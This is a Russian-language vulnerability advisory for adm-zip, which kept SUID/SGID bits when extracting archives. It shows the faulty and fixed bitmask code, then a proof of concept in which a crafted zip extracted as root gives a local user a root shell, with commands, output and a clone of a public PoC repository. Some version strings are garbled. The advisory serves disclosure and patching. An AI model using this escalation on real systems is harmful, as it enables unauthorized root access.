
CVE-2026-102282: локальное повышение привилегий через сохранение SUID/SGID при извлечении архивов
adm-zip — это устоявшаяся библиотека для работы с ZIP-архивами на чистом JavaScript для Node.js, насчитывающая более 20 миллионов загрузок в неделю в экосистеме npm. Она широко интегрирована в CI/CD-конвейеры, процессы сборки контейнеров, инструменты облачного развёртывания и серверные приложения для сжатия и распаковки архивов.
При распаковке adm-zip поддерживает параметр конфигурации keepOriginalPermission, предназначенный для восстановления POSIX-разрешений, записанных в архиве. Однако библиотека не отфильтровывала специальные биты режима файлов Unix, несущие привилегии: SUID (S_ISUID, 0o4000), SGID (S_ISGID, 0o2000) и sticky-бит (S_ISVTX, 0o1000).
Когда приложение распаковывает недоверенный ZIP-архив с keepOriginalPermission = true, работая с повышенными привилегиями (например, CI-раннер уровня root, точка входа Docker-контейнера или фоновый демон бэкенд-задач), adm-zip применяет указанные злоумышленником биты SUID/SGID к файловой системе через fs.chmodSync(). Это создаёт принадлежащий root исполняемый файл с SUID на хост-файловой системе, позволяя непривилегированному локальному пользователю выполнить этот бинарник и немедленно получить привилегии root.
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1В спецификации формата ZIP PKWARE права доступа к файлам Unix хранятся в 32-битном поле external file attributes заголовка Central Directory (байты 38-41). В Unix-совместимых архивах старшие 16 бит кодируют тип файла и 12-битный режим POSIX-разрешений (0o7777).
В версиях <= 0.6.0 файл headers/entryHeader.js использовал 12-битную битовую маску (0xfff):
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
Битовая маска 0xfff (двоичное 1111 1111 1111) извлекает все младшие 12 бит, сохраняя не только стандартные разрешения на чтение/запись/выполнение (0o777), но и специальные биты разрешений 0o4000 (SUID), 0o2000 (SGID) и 0o1000 (Sticky).
В версии 0.6.1 маска была ограничена значением 0o777 (десятичное 511), отсекая все специальные биты привилегий:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
Проблема возникает, когда при распаковке включён параметр keepOriginalPermission:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
В файле util/utils.js извлечённый атрибут передавался напрямую в файловую систему без проверки:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Когда процесс распаковки выполняется от имени root (euid 0) на файловой системе, смонтированной без опции nosuid, fs.chmodSync() устанавливает извлечённому файлу режим 0o4755 (-rwsr-xr-x) с владельцем root:root.
[email protected])Создание архива и привилегированная распаковка:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
Выполнение непривилегированным локальным пользователем (uid=1000):
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
Когда недоверенные ZIP-файлы обрабатываются с повышенными привилегиями — например, автоматизированными агентами сборки, средами общего хостинга, процедурами инициализации serverless-контейнеров и фреймворками установки плагинов — непривилегированный пользователь может предоставить специально созданный архив, чтобы разместить произвольный принадлежащий root SUID-бинарник, что приводит к локальному повышению привилегий (LPE) и выполнению произвольного кода от имени root.
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
Примечание: целевой каталог распаковки должен находиться на файловой системе, смонтированной без опции nosuid.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — базовый балл 7.1)0.6.1